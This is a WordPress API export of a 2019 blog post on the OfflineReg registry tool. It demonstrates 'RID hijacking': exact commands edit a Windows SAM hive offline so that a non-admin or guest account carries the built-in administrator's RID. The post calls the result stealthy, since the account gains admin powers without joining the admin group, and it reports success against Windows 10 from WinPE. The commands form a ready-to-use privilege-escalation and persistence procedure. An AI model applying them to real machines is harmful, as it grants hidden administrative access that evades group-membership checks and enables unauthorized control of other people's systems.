{"id":2160,"date":"2019-08-18T20:32:50","date_gmt":"2019-08-18T18:32:50","guid":{"rendered":"http:\/\/labalec.fr\/erwan\/?p=2160"},"modified":"2019-08-18T20:32:50","modified_gmt":"2019-08-18T18:32:50","slug":"offlinereg-and-rid-hijacking","status":"publish","type":"post","link":"https:\/\/labalec.fr\/erwan\/?p=2160","title":{"rendered":"OfflineReg and RID hijacking"},"content":{"rendered":"<p>Following a post\u00a0<a class=\"bbc_url\" title=\"\" href=\"http:\/\/reboot.pro\/topic\/18527-offlinereg\/page-7#entry205931\" rel=\"norewrite\">here\u00a0<\/a>on how to blank an account&rsquo;s password using offlinereg, this time, lets see how to perform \u00ab\u00a0RID hijacking\u00a0\u00bb.<\/p>\n<p>The local admin account has a 01F4 rid.<br \/>\nWhat about \u00ab\u00a0patching\u00a0\u00bb another (non admin) account to replace its RID with 01F4?<\/p>\n<p>rem notice the rid at offset 30h (here E803)<br \/>\nOfflineReg-win32 \u00ab\u00a0c:\\windows\\system32\\config\\SAM\u00a0\u00bb sam\\domains\\account\\users\\000003e8 getvalue f<\/p>\n<p>rem lets write f401 (admin rid) at offset 30h (48 in decimal form)<br \/>\nOfflineReg-win32 \u00ab\u00a0c:\\windows\\system32\\config\\SAM\u00a0\u00bb sam\\domains\\account\\users\\000003e8 setvaluebyteat f 244 48<br \/>\nOfflineReg-win32 \u00ab\u00a0c:\\windows\\system32\\config\\SAM\u00a0\u00bb sam\\domains\\account\\users\\000003e8 setvaluebyteat f 1 49<\/p>\n<p>Now you should be able to restart your system, log in with this user account and actually perform admin task.<br \/>\nThis is quite \u00ab\u00a0stealthy\u00a0\u00bb as the account will still not be part of the local admin group while being able to perform admin tasks.<\/p>\n<p>LSASS trust SAMSRV and SAMSRV trust the registry : everyone is happy&#8230;<\/p>\n<p>This can work with the guest account as well.<\/p>\n<p>I tested this with success from a winpe against windows 10.<\/p>\n<p>&nbsp;<\/p>\n<p>Download\/Discuss it <a href=\"http:\/\/reboot.pro\/topic\/18527-offlinereg\/page-12#entry210127\" target=\"_blank\" rel=\"noopener\">here<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Following a post\u00a0here\u00a0on how to blank an account&rsquo;s password using offlinereg, this time, lets see how to perform \u00ab\u00a0RID hijacking\u00a0\u00bb. The local admin account has a 01F4 rid. What about \u00ab\u00a0patching\u00a0\u00bb another (non admin) account to replace its RID with 01F4? rem notice the rid at offset 30h (here E803) OfflineReg-win32 \u00ab\u00a0c:\\windows\\system32\\config\\SAM\u00a0\u00bb sam\\domains\\account\\users\\000003e8 getvalue f <a href='https:\/\/labalec.fr\/erwan\/?p=2160' class='excerpt-more'>[&#8230;]<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[95],"tags":[],"class_list":["post-2160","post","type-post","status-publish","format-standard","hentry","category-offlinereg","category-95-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2160"}],"version-history":[{"count":1,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2160\/revisions"}],"predecessor-version":[{"id":2161,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2160\/revisions\/2161"}],"wp:attachment":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}